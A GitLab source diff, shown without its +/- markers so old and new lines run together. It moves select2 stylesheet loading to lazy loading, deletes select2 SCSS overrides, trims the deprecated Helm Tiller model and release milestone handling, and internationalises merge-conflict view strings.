|
||||
return finalCallback(data);
|
||||
placeholder += s__('ProjectSelect| or group');
|
||||
}
|
||||
|
||||
$(select).select2({
|
||||
placeholder,
|
||||
minimumInputLength: 0,
|
||||
query: query => {
|
||||
let projectsCallback;
|
||||
const finalCallback = function(projects) {
|
||||
const data = {
|
||||
results: projects,
|
||||
};
|
||||
return query.callback(data);
|
||||
};
|
||||
return Api.groups(query.term, {}, groupsCallback);
|
||||
};
|
||||
} else {
|
||||
projectsCallback = finalCallback;
|
||||
}
|
||||
if (this.groupId) {
|
||||
return Api.groupProjects(
|
||||
this.groupId,
|
||||
query.term,
|
||||
{
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
with_shared: this.withShared,
|
||||
include_subgroups: this.includeProjectsInSubgroups,
|
||||
order_by: 'similarity',
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
} else if (this.userId) {
|
||||
return Api.userProjects(
|
||||
this.userId,
|
||||
query.term,
|
||||
{
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
with_shared: this.withShared,
|
||||
include_subgroups: this.includeProjectsInSubgroups,
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
}
|
||||
return Api.projects(
|
||||
query.term,
|
||||
{
|
||||
order_by: this.orderBy,
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
membership: !this.allProjects,
|
||||
if (this.includeGroups) {
|
||||
projectsCallback = function(projects) {
|
||||
const groupsCallback = function(groups) {
|
||||
const data = groups.concat(projects);
|
||||
return finalCallback(data);
|
||||
};
|
||||
return Api.groups(query.term, {}, groupsCallback);
|
||||
};
|
||||
} else {
|
||||
projectsCallback = finalCallback;
|
||||
}
|
||||
if (this.groupId) {
|
||||
return Api.groupProjects(
|
||||
this.groupId,
|
||||
query.term,
|
||||
{
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
with_shared: this.withShared,
|
||||
include_subgroups: this.includeProjectsInSubgroups,
|
||||
order_by: 'similarity',
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
} else if (this.userId) {
|
||||
return Api.userProjects(
|
||||
this.userId,
|
||||
query.term,
|
||||
{
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
with_shared: this.withShared,
|
||||
include_subgroups: this.includeProjectsInSubgroups,
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
}
|
||||
return Api.projects(
|
||||
query.term,
|
||||
{
|
||||
order_by: this.orderBy,
|
||||
with_issues_enabled: this.withIssuesEnabled,
|
||||
with_merge_requests_enabled: this.withMergeRequestsEnabled,
|
||||
membership: !this.allProjects,
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
},
|
||||
projectsCallback,
|
||||
);
|
||||
},
|
||||
id(project) {
|
||||
if (simpleFilter) return project.id;
|
||||
return JSON.stringify({
|
||||
name: project.name,
|
||||
url: project.web_url,
|
||||
id(project) {
|
||||
if (simpleFilter) return project.id;
|
||||
return JSON.stringify({
|
||||
name: project.name,
|
||||
url: project.web_url,
|
||||
});
|
||||
},
|
||||
text(project) {
|
||||
return project.name_with_namespace || project.name;
|
||||
},
|
||||
|
||||
initSelection(el, callback) {
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
return Api.project(el.val()).then(({ data }) => callback(data));
|
||||
},
|
||||
|
||||
allowClear: this.allowClear,
|
||||
|
||||
dropdownCssClass: 'ajax-project-dropdown',
|
||||
});
|
||||
},
|
||||
text(project) {
|
||||
return project.name_with_namespace || project.name;
|
||||
},
|
||||
|
||||
initSelection(el, callback) {
|
||||
return Api.project(el.val()).then(({ data }) => callback(data));
|
||||
},
|
||||
|
||||
allowClear: this.allowClear,
|
||||
|
||||
dropdownCssClass: 'ajax-project-dropdown',
|
||||
});
|
||||
if (isInstantiated || simpleFilter) return select;
|
||||
return new ProjectSelectComboButton(select);
|
||||
});
|
||||
if (isInstantiated || simpleFilter) return select;
|
||||
return new ProjectSelectComboButton(select);
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
};
|
||||
|
||||
export default () => {
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
import $ from 'jquery';
|
||||
import AccessorUtilities from './lib/utils/accessor';
|
||||
import { loadCSSFile } from './lib/utils/css_utils';
|
||||
|
||||
export default class ProjectSelectComboButton {
|
||||
constructor(select) {
|
||||
|
@ -46,9 +47,14 @@ export default class ProjectSelectComboButton {
|
|||
openDropdown(event) {
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
$(event.currentTarget)
|
||||
.siblings('.project-item-select')
|
||||
.select2('open');
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
$(event.currentTarget)
|
||||
.siblings('.project-item-select')
|
||||
.select2('open');
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
}
|
||||
|
|
|
@ -15,6 +15,7 @@ import { parseBoolean, spriteIcon } from '../lib/utils/common_utils';
|
|||
import { getAjaxUsersSelectOptions, getAjaxUsersSelectParams } from './utils';
|
||||
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
|
||||
import { fixTitle, dispose } from '~/tooltips';
|
||||
import { loadCSSFile } from '../lib/utils/css_utils';
|
||||
|
||||
// TODO: remove eventHub hack after code splitting refactor
|
||||
window.emitSidebarEvent = window.emitSidebarEvent || $.noop;
|
||||
|
@ -592,92 +593,97 @@ function UsersSelect(currentUser, els, options = {}) {
|
|||
if ($('.ajax-users-select').length) {
|
||||
import(/* webpackChunkName: 'select2' */ 'select2/select2')
|
||||
.then(() => {
|
||||
$('.ajax-users-select').each((i, select) => {
|
||||
const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
|
||||
options.skipLdap = $(select).hasClass('skip_ldap');
|
||||
const showNullUser = $(select).data('nullUser');
|
||||
const showAnyUser = $(select).data('anyUser');
|
||||
const showEmailUser = $(select).data('emailUser');
|
||||
const firstUser = $(select).data('firstUser');
|
||||
return $(select).select2({
|
||||
placeholder: __('Search for a user'),
|
||||
multiple: $(select).hasClass('multiselect'),
|
||||
minimumInputLength: 0,
|
||||
query(query) {
|
||||
return userSelect.users(query.term, options, users => {
|
||||
let name;
|
||||
const data = {
|
||||
results: users,
|
||||
};
|
||||
if (query.term.length === 0) {
|
||||
if (firstUser) {
|
||||
// Move current user to the front of the list
|
||||
const ref = data.results;
|
||||
// eslint-disable-next-line promise/no-nesting
|
||||
loadCSSFile(gon.select2_css_path)
|
||||
.then(() => {
|
||||
$('.ajax-users-select').each((i, select) => {
|
||||
const options = getAjaxUsersSelectOptions($(select), AJAX_USERS_SELECT_OPTIONS_MAP);
|
||||
options.skipLdap = $(select).hasClass('skip_ldap');
|
||||
const showNullUser = $(select).data('nullUser');
|
||||
const showAnyUser = $(select).data('anyUser');
|
||||
const showEmailUser = $(select).data('emailUser');
|
||||
const firstUser = $(select).data('firstUser');
|
||||
return $(select).select2({
|
||||
placeholder: __('Search for a user'),
|
||||
multiple: $(select).hasClass('multiselect'),
|
||||
minimumInputLength: 0,
|
||||
query(query) {
|
||||
return userSelect.users(query.term, options, users => {
|
||||
let name;
|
||||
const data = {
|
||||
results: users,
|
||||
};
|
||||
if (query.term.length === 0) {
|
||||
if (firstUser) {
|
||||
// Move current user to the front of the list
|
||||
const ref = data.results;
|
||||
|
||||
for (let index = 0, len = ref.length; index < len; index += 1) {
|
||||
const obj = ref[index];
|
||||
if (obj.username === firstUser) {
|
||||
data.results.splice(index, 1);
|
||||
data.results.unshift(obj);
|
||||
break;
|
||||
for (let index = 0, len = ref.length; index < len; index += 1) {
|
||||
const obj = ref[index];
|
||||
if (obj.username === firstUser) {
|
||||
data.results.splice(index, 1);
|
||||
data.results.unshift(obj);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (showNullUser) {
|
||||
const nullUser = {
|
||||
name: s__('UsersSelect|Unassigned'),
|
||||
id: 0,
|
||||
};
|
||||
data.results.unshift(nullUser);
|
||||
}
|
||||
if (showAnyUser) {
|
||||
name = showAnyUser;
|
||||
if (name === true) {
|
||||
name = s__('UsersSelect|Any User');
|
||||
}
|
||||
const anyUser = {
|
||||
name,
|
||||
id: null,
|
||||
};
|
||||
data.results.unshift(anyUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (showNullUser) {
|
||||
const nullUser = {
|
||||
name: s__('UsersSelect|Unassigned'),
|
||||
id: 0,
|
||||
};
|
||||
data.results.unshift(nullUser);
|
||||
}
|
||||
if (showAnyUser) {
|
||||
name = showAnyUser;
|
||||
if (name === true) {
|
||||
name = s__('UsersSelect|Any User');
|
||||
if (
|
||||
showEmailUser &&
|
||||
data.results.length === 0 &&
|
||||
query.term.match(/^[^@]+@[^@]+$/)
|
||||
) {
|
||||
const trimmed = query.term.trim();
|
||||
const emailUser = {
|
||||
name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
|
||||
username: trimmed,
|
||||
id: trimmed,
|
||||
invite: true,
|
||||
};
|
||||
data.results.unshift(emailUser);
|
||||
}
|
||||
const anyUser = {
|
||||
name,
|
||||
id: null,
|
||||
};
|
||||
data.results.unshift(anyUser);
|
||||
}
|
||||
}
|
||||
if (
|
||||
showEmailUser &&
|
||||
data.results.length === 0 &&
|
||||
query.term.match(/^[^@]+@[^@]+$/)
|
||||
) {
|
||||
const trimmed = query.term.trim();
|
||||
const emailUser = {
|
||||
name: sprintf(__('Invite "%{trimmed}" by email'), { trimmed }),
|
||||
username: trimmed,
|
||||
id: trimmed,
|
||||
invite: true,
|
||||
};
|
||||
data.results.unshift(emailUser);
|
||||
}
|
||||
return query.callback(data);
|
||||
return query.callback(data);
|
||||
});
|
||||
},
|
||||
initSelection() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.initSelection.apply(userSelect, args);
|
||||
},
|
||||
formatResult() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.formatResult.apply(userSelect, args);
|
||||
},
|
||||
formatSelection() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.formatSelection.apply(userSelect, args);
|
||||
},
|
||||
dropdownCssClass: 'ajax-users-dropdown',
|
||||
// we do not want to escape markup since we are displaying html in results
|
||||
escapeMarkup(m) {
|
||||
return m;
|
||||
},
|
||||
});
|
||||
},
|
||||
initSelection() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.initSelection.apply(userSelect, args);
|
||||
},
|
||||
formatResult() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.formatResult.apply(userSelect, args);
|
||||
},
|
||||
formatSelection() {
|
||||
const args = 1 <= arguments.length ? [].slice.call(arguments, 0) : [];
|
||||
return userSelect.formatSelection.apply(userSelect, args);
|
||||
},
|
||||
dropdownCssClass: 'ajax-users-dropdown',
|
||||
// we do not want to escape markup since we are displaying html in results
|
||||
escapeMarkup(m) {
|
||||
return m;
|
||||
},
|
||||
});
|
||||
});
|
||||
});
|
||||
})
|
||||
.catch(() => {});
|
||||
})
|
||||
.catch(() => {});
|
||||
}
|
||||
|
|
|
@ -5,7 +5,6 @@
|
|||
// directory.
|
||||
@import '@gitlab/at.js/dist/css/jquery.atwho';
|
||||
@import 'dropzone/dist/basic';
|
||||
@import 'select2';
|
||||
|
||||
// GitLab UI framework
|
||||
@import 'framework';
|
||||
|
|
|
@ -135,7 +135,6 @@ hr {
|
|||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
|
||||
> div:not(.block):not(.select2-display-none),
|
||||
.str-truncated {
|
||||
display: inline;
|
||||
}
|
||||
|
|
|
@ -2,10 +2,6 @@
|
|||
.diff-file {
|
||||
margin-bottom: $gl-padding;
|
||||
|
||||
&.conflict {
|
||||
border-top: 1px solid $border-color;
|
||||
}
|
||||
|
||||
&.has-body {
|
||||
.file-title {
|
||||
box-shadow: 0 -2px 0 0 var(--white);
|
||||
|
|
|
@ -133,11 +133,6 @@ label {
|
|||
}
|
||||
|
||||
.input-group {
|
||||
.select2-container {
|
||||
display: table-cell;
|
||||
max-width: 180px;
|
||||
}
|
||||
|
||||
.input-group-prepend,
|
||||
.input-group-append {
|
||||
background-color: $input-group-addon-bg;
|
||||
|
|
|
@ -1,275 +1,3 @@
|
|||
/** Select2 selectbox style override **/
|
||||
.select2-container {
|
||||
width: 100% !important;
|
||||
|
||||
&.input-md,
|
||||
&.input-lg {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-container,
|
||||
.select2-container.select2-drop-above {
|
||||
.select2-choice {
|
||||
background: $white;
|
||||
color: $gl-text-color;
|
||||
border-color: $input-border;
|
||||
height: 34px;
|
||||
padding: $gl-vert-padding $gl-input-padding;
|
||||
font-size: $gl-font-size;
|
||||
line-height: 1.42857143;
|
||||
border-radius: $border-radius-base;
|
||||
|
||||
.select2-arrow {
|
||||
background-image: none;
|
||||
background-color: transparent;
|
||||
border: 0;
|
||||
padding-top: 12px;
|
||||
padding-right: 20px;
|
||||
font-size: 10px;
|
||||
|
||||
b {
|
||||
display: none;
|
||||
}
|
||||
|
||||
&::after {
|
||||
content: '\f078';
|
||||
position: absolute;
|
||||
z-index: 1;
|
||||
text-align: center;
|
||||
pointer-events: none;
|
||||
box-sizing: border-box;
|
||||
color: $gray-darkest;
|
||||
display: inline-block;
|
||||
font: normal normal normal 14px/1 FontAwesome;
|
||||
font-size: inherit;
|
||||
text-rendering: auto;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-chosen {
|
||||
margin-right: 15px;
|
||||
}
|
||||
|
||||
&:hover {
|
||||
border-color: $gray-darkest;
|
||||
color: $gl-text-color;
|
||||
}
|
||||
}
|
||||
|
||||
// Essentially we’re doing @include form-control-focus here (from
|
||||
// bootstrap/scss/mixins/_forms.scss), except that the bootstrap mixin adds a
|
||||
// `&:focus` selector and we’re never actually focusing the .select2-choice
|
||||
// link nor the .select2-container, the Select2 library focuses an off-screen
|
||||
// .select2-focusser element instead.
|
||||
&.select2-container-active:not(.select2-dropdown-open) {
|
||||
.select2-choice {
|
||||
color: $input-focus-color;
|
||||
background-color: $input-focus-bg;
|
||||
border-color: $input-focus-border-color;
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
// Reusable focus “glow” box-shadow
|
||||
@mixin form-control-focus-glow {
|
||||
@if $enable-shadows {
|
||||
box-shadow: $input-box-shadow, $input-focus-box-shadow;
|
||||
} @else {
|
||||
box-shadow: $input-focus-box-shadow;
|
||||
}
|
||||
}
|
||||
|
||||
// Apply the focus “glow” shadow to the .select2-container if it also has
|
||||
// the .block-truncated class as that applies an overflow: hidden, thereby
|
||||
// hiding the glow of the nested .select2-choice element.
|
||||
&.block-truncated {
|
||||
@include form-control-focus-glow;
|
||||
}
|
||||
|
||||
// Apply the glow directly to the .select2-choice link if we’re not
|
||||
// block-truncating the container.
|
||||
&:not(.block-truncated) .select2-choice {
|
||||
@include form-control-focus-glow;
|
||||
}
|
||||
}
|
||||
|
||||
&.is-invalid {
|
||||
~ .invalid-feedback {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.select2-choices,
|
||||
.select2-choice {
|
||||
border-color: $red-500;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.select2-drop,
|
||||
.select2-drop.select2-drop-above {
|
||||
background: $white;
|
||||
box-shadow: 0 2px 4px $dropdown-shadow-color;
|
||||
border-radius: $border-radius-base;
|
||||
border: 1px solid $border-color;
|
||||
min-width: 175px;
|
||||
color: $gl-text-color;
|
||||
z-index: 999;
|
||||
|
||||
.modal-open & {
|
||||
z-index: $zindex-modal + 200;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-drop-mask {
|
||||
z-index: 998;
|
||||
|
||||
.modal-open & {
|
||||
z-index: $zindex-modal + 100;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-drop.select2-drop-above.select2-drop-active {
|
||||
border-top: 1px solid $border-color;
|
||||
margin-top: -6px;
|
||||
}
|
||||
|
||||
.select2-container-active {
|
||||
.select2-choice,
|
||||
.select2-choices {
|
||||
box-shadow: none;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-dropdown-open,
|
||||
.select2-dropdown-open.select2-drop-above {
|
||||
.select2-choice {
|
||||
border-color: $gray-darkest;
|
||||
outline: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-container-multi {
|
||||
.select2-choices {
|
||||
border-radius: $border-radius-default;
|
||||
border-color: $input-border;
|
||||
background: none;
|
||||
|
||||
.select2-search-field input {
|
||||
padding: 5px $gl-input-padding;
|
||||
height: auto;
|
||||
font-family: inherit;
|
||||
font-size: inherit;
|
||||
}
|
||||
|
||||
.select2-search-choice {
|
||||
margin: 5px 0 0 8px;
|
||||
box-shadow: none;
|
||||
border-color: $input-border;
|
||||
color: $gl-text-color;
|
||||
line-height: 15px;
|
||||
background-color: $gray-light;
|
||||
background-image: none;
|
||||
padding: 3px 18px 3px 5px;
|
||||
|
||||
.select2-search-choice-close {
|
||||
top: 5px;
|
||||
left: initial;
|
||||
right: 3px;
|
||||
}
|
||||
|
||||
&.select2-search-choice-focus {
|
||||
border-color: $gl-text-color;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.select2-drop-active {
|
||||
margin-top: $dropdown-vertical-offset;
|
||||
font-size: 14px;
|
||||
|
||||
.select2-results {
|
||||
max-height: 350px;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-search {
|
||||
padding: $grid-size;
|
||||
|
||||
.select2-drop-auto-width & {
|
||||
padding: $grid-size;
|
||||
}
|
||||
|
||||
input {
|
||||
padding: $grid-size;
|
||||
background: transparent image-url('select2.png');
|
||||
color: $gl-text-color;
|
||||
background-clip: content-box;
|
||||
background-origin: content-box;
|
||||
background-repeat: no-repeat;
|
||||
background-position: right 0 bottom 0 !important;
|
||||
border: 1px solid $input-border;
|
||||
border-radius: $border-radius-default;
|
||||
line-height: 16px;
|
||||
transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
|
||||
|
||||
&:focus {
|
||||
border-color: $blue-300;
|
||||
}
|
||||
|
||||
&.select2-active {
|
||||
background-color: $white;
|
||||
background-image: image-url('select2-spinner.gif') !important;
|
||||
background-origin: content-box;
|
||||
background-repeat: no-repeat;
|
||||
background-position: right 6px center !important;
|
||||
background-size: 16px 16px !important;
|
||||
}
|
||||
}
|
||||
|
||||
+ .select2-results {
|
||||
padding-top: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-results {
|
||||
margin: 0;
|
||||
padding: #{$gl-padding / 2} 0;
|
||||
|
||||
.select2-no-results,
|
||||
.select2-searching,
|
||||
.select2-ajax-error,
|
||||
.select2-selection-limit {
|
||||
background: transparent;
|
||||
padding: #{$gl-padding / 2} $gl-padding;
|
||||
}
|
||||
|
||||
.select2-result-label,
|
||||
.select2-more-results {
|
||||
padding: #{$gl-padding / 2} $gl-padding;
|
||||
}
|
||||
|
||||
.select2-highlighted {
|
||||
background: transparent;
|
||||
color: $gl-text-color;
|
||||
|
||||
.select2-result-label {
|
||||
background: $gray-darker;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-result {
|
||||
padding: 0 1px;
|
||||
}
|
||||
|
||||
li.select2-result-with-children > .select2-result-label {
|
||||
font-weight: $gl-font-weight-bold;
|
||||
color: $gl-text-color;
|
||||
}
|
||||
}
|
||||
|
||||
.ajax-users-select {
|
||||
width: 400px;
|
||||
|
||||
|
@ -282,14 +10,6 @@
|
|||
}
|
||||
}
|
||||
|
||||
.select2-highlighted {
|
||||
.group-result {
|
||||
.group-path {
|
||||
color: $gray-700;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.group-result {
|
||||
.group-image {
|
||||
float: left;
|
||||
|
@ -345,11 +65,3 @@
|
|||
.ajax-users-dropdown {
|
||||
min-width: 250px !important;
|
||||
}
|
||||
|
||||
.select2-result-selectable,
|
||||
.select2-result-unselectable {
|
||||
.select2-match {
|
||||
font-weight: $gl-font-weight-bold;
|
||||
text-decoration: none;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -74,10 +74,6 @@
|
|||
justify-content: flex-end;
|
||||
}
|
||||
|
||||
.select2 {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.encoding-selector,
|
||||
.soft-wrap-toggle {
|
||||
display: inline-block;
|
||||
|
|
8
app/assets/stylesheets/pages/import.scss
vendored
8
app/assets/stylesheets/pages/import.scss
vendored
|
@ -17,14 +17,6 @@
|
|||
max-width: 300px;
|
||||
}
|
||||
|
||||
.import-namespace-select {
|
||||
> .select2-choice {
|
||||
border-radius: $border-radius-default 0 0 $border-radius-default;
|
||||
position: relative;
|
||||
left: 1px;
|
||||
}
|
||||
}
|
||||
|
||||
.import-slash-divider {
|
||||
background-color: $gray-lightest;
|
||||
border: 1px solid $border-color;
|
||||
|
|
|
@ -199,10 +199,6 @@
|
|||
border: 0;
|
||||
}
|
||||
|
||||
.select2-container span {
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
&.assignee {
|
||||
.author-link {
|
||||
display: block;
|
||||
|
|
|
@ -92,6 +92,11 @@ ul.related-merge-requests > li {
|
|||
}
|
||||
}
|
||||
|
||||
.issues-footer {
|
||||
padding-top: $gl-padding;
|
||||
padding-bottom: 37px;
|
||||
}
|
||||
|
||||
.issues-nav-controls,
|
||||
.new-branch-col {
|
||||
font-size: 0;
|
||||
|
|
|
@ -10,12 +10,6 @@
|
|||
}
|
||||
|
||||
.input-group {
|
||||
.select2-container {
|
||||
display: unset;
|
||||
max-width: unset;
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
> div {
|
||||
&:last-child {
|
||||
padding-right: 0;
|
||||
|
@ -52,7 +46,6 @@
|
|||
flex-grow: 1;
|
||||
}
|
||||
|
||||
+ .select2 a,
|
||||
+ .btn-default {
|
||||
border-radius: 0 $border-radius-base $border-radius-base 0;
|
||||
}
|
||||
|
@ -258,10 +251,6 @@
|
|||
color: $gray-700;
|
||||
}
|
||||
|
||||
.transfer-project .select2-container {
|
||||
min-width: 200px;
|
||||
}
|
||||
|
||||
.deploy-key {
|
||||
// Ensure that the fingerprint does not overflow on small screens
|
||||
.fingerprint {
|
||||
|
@ -1057,11 +1046,6 @@ pre.light-well {
|
|||
margin-bottom: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.select2-choice {
|
||||
border-top-right-radius: 0;
|
||||
border-bottom-right-radius: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.project-home-empty {
|
||||
|
|
|
@ -40,12 +40,11 @@ module Mutations
|
|||
|
||||
authorize :create_release
|
||||
|
||||
def resolve(project_path:, milestones: nil, assets: nil, **scalars)
|
||||
def resolve(project_path:, assets: nil, **scalars)
|
||||
project = authorized_find!(full_path: project_path)
|
||||
|
||||
params = {
|
||||
**scalars,
|
||||
milestones: milestones.presence || [],
|
||||
assets: assets.to_h
|
||||
}.with_indifferent_access
|
||||
|
||||
|
|
|
@ -4,8 +4,8 @@ require 'openssl'
|
|||
|
||||
module Clusters
|
||||
module Applications
|
||||
# DEPRECATED: This model represents the Helm 2 Tiller server, and is no longer being actively used.
|
||||
# It is being kept around for a potential cleanup of the unused Tiller server.
|
||||
# DEPRECATED: This model represents the Helm 2 Tiller server.
|
||||
# It is being kept around to enable the cleanup of the unused Tiller server.
|
||||
class Helm < ApplicationRecord
|
||||
self.table_name = 'clusters_applications_helm'
|
||||
|
||||
|
@ -27,29 +27,11 @@ module Clusters
|
|||
end
|
||||
|
||||
def set_initial_status
|
||||
return unless not_installable?
|
||||
|
||||
self.status = status_states[:installable] if cluster&.platform_kubernetes_active?
|
||||
end
|
||||
|
||||
# It can only be uninstalled if there are no other applications installed
|
||||
# or with intermitent installation statuses in the database.
|
||||
def allowed_to_uninstall?
|
||||
strong_memoize(:allowed_to_uninstall) do
|
||||
applications = nil
|
||||
|
||||
Clusters::Cluster::APPLICATIONS.each do |application_name, klass|
|
||||
next if application_name == 'helm'
|
||||
|
||||
extra_apps = Clusters::Applications::Helm.where('EXISTS (?)', klass.select(1).where(cluster_id: cluster_id))
|
||||
|
||||
applications = applications ? applications.or(extra_apps) : extra_apps
|
||||
end
|
||||
|
||||
!applications.exists?
|
||||
end
|
||||
# The legacy Tiller server is not installable, which is the initial status of every app
|
||||
end
|
||||
|
||||
# DEPRECATED: This command is only for development and testing purposes, to simulate
|
||||
# a Helm 2 cluster with an existing Tiller server.
|
||||
def install_command
|
||||
Gitlab::Kubernetes::Helm::V2::InitCommand.new(
|
||||
name: name,
|
||||
|
@ -70,13 +52,6 @@ module Clusters
|
|||
ca_key.present? && ca_cert.present?
|
||||
end
|
||||
|
||||
def post_uninstall
|
||||
cluster.kubeclient.delete_namespace(Gitlab::Kubernetes::Helm::NAMESPACE)
|
||||
rescue Kubeclient::ResourceNotFoundError
|
||||
# we actually don't care if the namespace is not present
|
||||
# since we want to delete it anyway.
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def files
|
||||
|
|
|
@ -21,6 +21,10 @@ class SnippetBlob
|
|||
data.bytesize
|
||||
end
|
||||
|
||||
def commit_id
|
||||
nil
|
||||
end
|
||||
|
||||
def data
|
||||
snippet.content
|
||||
end
|
||||
|
|
|
@ -78,7 +78,7 @@ module Releases
|
|||
end
|
||||
|
||||
def param_for_milestone_titles_provided?
|
||||
params.key?(:milestones)
|
||||
!!params[:milestones]
|
||||
end
|
||||
|
||||
def execute_hooks(release, action = 'create')
|
||||
|
|
|
@ -27,6 +27,7 @@
|
|||
provider_type: @cluster.provider_type,
|
||||
pre_installed_knative: @cluster.knative_pre_installed? ? 'true': 'false',
|
||||
help_path: help_page_path('user/project/clusters/index.md', anchor: 'installing-applications'),
|
||||
helm_help_path: help_page_path('user/clusters/applications.md', anchor: 'helm'),
|
||||
ingress_help_path: help_page_path('user/project/clusters/index.md', anchor: 'getting-the-external-endpoint'),
|
||||
ingress_dns_help_path: help_page_path('user/clusters/applications.md', anchor: 'pointing-your-dns-at-the-external-endpoint'),
|
||||
ingress_mod_security_help_path: help_page_path('user/clusters/applications.md', anchor: 'web-application-firewall-modsecurity'),
|
||||
|
|
|
@ -1,16 +1,11 @@
|
|||
.content-block.oneline-block.files-changed{ "v-if" => "!isLoading && !hasError" }
|
||||
.inline-parallel-buttons{ "v-if" => "showDiffViewTypeSwitcher" }
|
||||
.btn-group
|
||||
%button.btn{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
|
||||
Inline
|
||||
%button.btn{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
|
||||
Side-by-side
|
||||
%button.btn.gl-button{ ":class" => "{'active': !isParallel}", "@click" => "handleViewTypeChange('inline')" }
|
||||
= _('Inline')
|
||||
%button.btn.gl-button{ ":class" => "{'active': isParallel}", "@click" => "handleViewTypeChange('parallel')" }
|
||||
= _('Side-by-side')
|
||||
|
||||
.js-toggle-container
|
||||
.commit-stat-summary
|
||||
Showing
|
||||
%strong.cred {{conflictsCountText}}
|
||||
between
|
||||
%strong.ref-name {{conflictsData.sourceBranch}}
|
||||
and
|
||||
%strong.ref-name {{conflictsData.targetBranch}}
|
||||
= _('Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}').html_safe % { conflict_start: '<strong class="cred">'.html_safe, ref_start: '<strong class="ref-name">'.html_safe, strong_end: '</strong>'.html_safe, conflicts_text: '{{conflictsCountText}}', source_branch: '{{conflictsData.sourceBranch}}', target_branch: '{{conflictsData.targetBranch}}' }
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
.file-actions
|
||||
.btn-group{ "v-if" => "file.type === 'text'" }
|
||||
%button.btn{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
|
||||
.file-actions.d-flex.align-items-center.gl-ml-auto.gl-align-self-start
|
||||
.btn-group.gl-mr-3{ "v-if" => "file.type === 'text'" }
|
||||
%button.btn.gl-button{ ":class" => "{ 'active': file.resolveMode == 'interactive' }",
|
||||
'@click' => "onClickResolveModeButton(file, 'interactive')",
|
||||
type: 'button' }
|
||||
Interactive mode
|
||||
%button.btn{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
|
||||
= _('Interactive mode')
|
||||
%button.btn.gl-button{ ':class' => "{ 'active': file.resolveMode == 'edit' }",
|
||||
'@click' => "onClickResolveModeButton(file, 'edit')",
|
||||
type: 'button' }
|
||||
Edit inline
|
||||
%a.btn.view-file{ ":href" => "file.blobPath" }
|
||||
View file @{{conflictsData.shortCommitSha}}
|
||||
= _('Edit inline')
|
||||
%a.btn.gl-button.view-file{ ":href" => "file.blobPath" }
|
||||
= _('View file @%{commit_sha}') % { commit_sha: '{{conflictsData.shortCommitSha}}' }
|
||||
|
|
|
@ -18,7 +18,7 @@
|
|||
.offset-md-4.col-md-8
|
||||
.row
|
||||
.col-6
|
||||
%button.btn.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
|
||||
